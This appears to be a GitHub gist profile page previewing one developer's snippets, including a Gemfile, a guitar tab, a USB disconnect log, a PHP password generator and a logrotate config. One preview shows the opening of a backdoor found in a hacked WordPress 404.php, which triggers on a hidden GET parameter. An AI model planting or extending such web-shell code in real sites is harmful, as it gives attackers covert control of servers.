Skip to content

Instantly share code, notes, and snippets.

View steveluscher's full-sized avatar

Steven Luscher steveluscher

View GitHub Profile
@steveluscher
steveluscher / gist:4158570
Created November 28, 2012 01:59
Hacked WordPress 2.4.8 404.php
<?php
if(isset($_GET['uia'])) {
clearstatcache();
set_magic_quotes_runtime(0);
if(!function_exists('ini_set')){
function ini_set(){
return FALSE;
}
}
ini_set('output_buffering',0);
source 'https://rubygems.org'
# Rails
gem 'rails', '3.2.8'
# Database - MySQL
gem 'mysql2'
# Gems used only for assets and not required
# in production environments by default.
@steveluscher
steveluscher / IN-MEDIAS-RES_tonight-i-am-new_guitar-tab.txt
Created August 8, 2012 06:38
Tonight I Am New (IN MEDIAS RES) Guitar tab transcribed by Steven Luscher (http://lakefieldmusic.com)
Tonight I Am New
IN MEDIAS RES
Guitar Tab
Transcribed by Steven Luscher (http://lakefieldmusic.com)
VERSE A
e|--------------------------|--------------------------|--------------------------|--------------------------|
B|--------------------------|--------------------------|--------------------------|--------------------------|
<!doctype html>
<!--[if lt IE 7]> <html class="no-js lt-ie10 lt-ie9 lt-ie8 lt-ie7" lang="en"> <![endif]-->
<!--[if IE 7]> <html class="no-js lt-ie10 lt-ie9 lt-ie8" lang="en"> <![endif]-->
<!--[if IE 8]> <html class="no-js lt-ie10 lt-ie9" lang="en"> <![endif]-->
<!--[if IE 9]> <html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if gt IE 9]><!--> <html class="no-js" lang="en"> <!--<![endif]-->
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
@steveluscher
steveluscher / gist:1865168
Created February 19, 2012 18:54
Spontaneous disconnection of USB peripherals from a Mac (see https://discussions.apple.com/message/17638040)
Feb 19 10:42:02 Steven-Luschers-Computer kernel[0]: CoreStorageGroup::completeIORequest - error 0xe00002d9 detected for LVG "Untitled" (4429443B-1B86-420D-B309-C5556661A1CD), pv B10FEEFC-C4C2-452A-9A62-7640C9862D83, near LV byte offset = 161472323584.
Feb 19 10:42:02 Steven-Luschers-Computer kernel[0]: disk4: device/channel is not attached.
Feb 19 10:42:02 Steven-Luschers-Computer kernel[0]: CoreStorageGroup::completeIORequest - error 0xe00002d9 detected for LVG "Untitled" (4429443B-1B86-420D-B309-C5556661A1CD), pv B10FEEFC-C4C2-452A-9A62-7640C9862D83, near LV byte offset = 161473212416.
Feb 19 10:42:02 Steven-Luschers-Computer kernel[0]: disk4: device/channel is not attached.
Feb 19 10:42:02 Steven-Luschers-Computer kernel[0]: CoreStorageGroup::completeIORequest - error 0xe00002d9 detected for LVG "Untitled" (4429443B-1B86-420D-B309-C5556661A1CD), pv B10FEEFC-C4C2-452A-9A62-7640C9862D83, near LV byte offset = 161473298432.
Feb 19 10:42:02 Steven-Luschers-Computer kernel[0]: disk4: device/channel is not attac
<h3>This content lives on a remote server</h3>
<p>Hey! You did it! You fetched some remote content!</p>
@steveluscher
steveluscher / id3_midterm_support.js
Created January 25, 2012 06:19
Interface Development 3 Support File
var countriesVisited = new Array();
(function() {
var country_list = ["Afghanistan","Albania","Algeria","Andorra","Angola","Anguilla","Antigua & Barbuda","Argentina","Armenia","Aruba","Australia","Austria","Azerbaijan","Bahamas","Bahrain","Bangladesh","Barbados","Belarus","Belgium","Belize","Benin","Bermuda","Bhutan","Bolivia","Bosnia & Herzegovina","Botswana","Brazil","British Virgin Islands","Brunei","Bulgaria","Burkina Faso","Burundi","Cambodia","Cameroon","Cape Verde","Cayman Islands","Chad","Chile","China","Colombia","Congo","Cook Islands","Costa Rica","Cote D Ivoire","Croatia","Cruise Ship","Cuba","Cyprus","Czech Republic","Denmark","Djibouti","Dominica","Dominican Republic","Ecuador","Egypt","El Salvador","Equatorial Guinea","Estonia","Ethiopia","Falkland Islands","Faroe Islands","Fiji","Finland","France","French Polynesia","French West Indies","Gabon","Gambia","Georgia","Germany","Ghana","Gibraltar","Greece","Greenland","Grenada","Guam","Guatemala","Guernsey","Guinea","Guinea Bissau","Guyana","Haiti"
@steveluscher
steveluscher / gist:1675040
Created January 25, 2012 06:15
Pronounceable password
/** Creates a pronounceable random password
* @param string $len, optional length (default 8)
* @retrun string the generated password
*/
function make_passwd($len=8)
{
$letter=array(
array("b","c","d","f","g","i","l","m","n","o","p","qu","r","s","t","v","z"),
array("a","e","i","o","u"));
$pass="";
@steveluscher
steveluscher / mojo_dojo_connector.js
Created August 11, 2011 16:56
A Mojo->Dojo connector; re-implement these methods in another library, and you can use Mojo 2.0 without Dojo.
/* Mojo-Dojo connector */
(function() {
if(typeof mojo == 'undefined') mojo = {};
mojo.addOnUnload = dojo.addOnUnload;
mojo.clone = dojo.clone;
mojo.config = dojo.config;
mojo.connect = dojo.connect;
mojo.declare = dojo.declare;
mojo.destroyElement = dojo._destroyElement;
/path/to/rails_apps/*/log/*.log {
daily
missingok
rotate 30
compress
delaycompress
sharedscripts
postrotate
find /path/to/rails_apps/* -name tmp -maxdepth 1 -type d -exec touch {}/restart.txt \;
endscript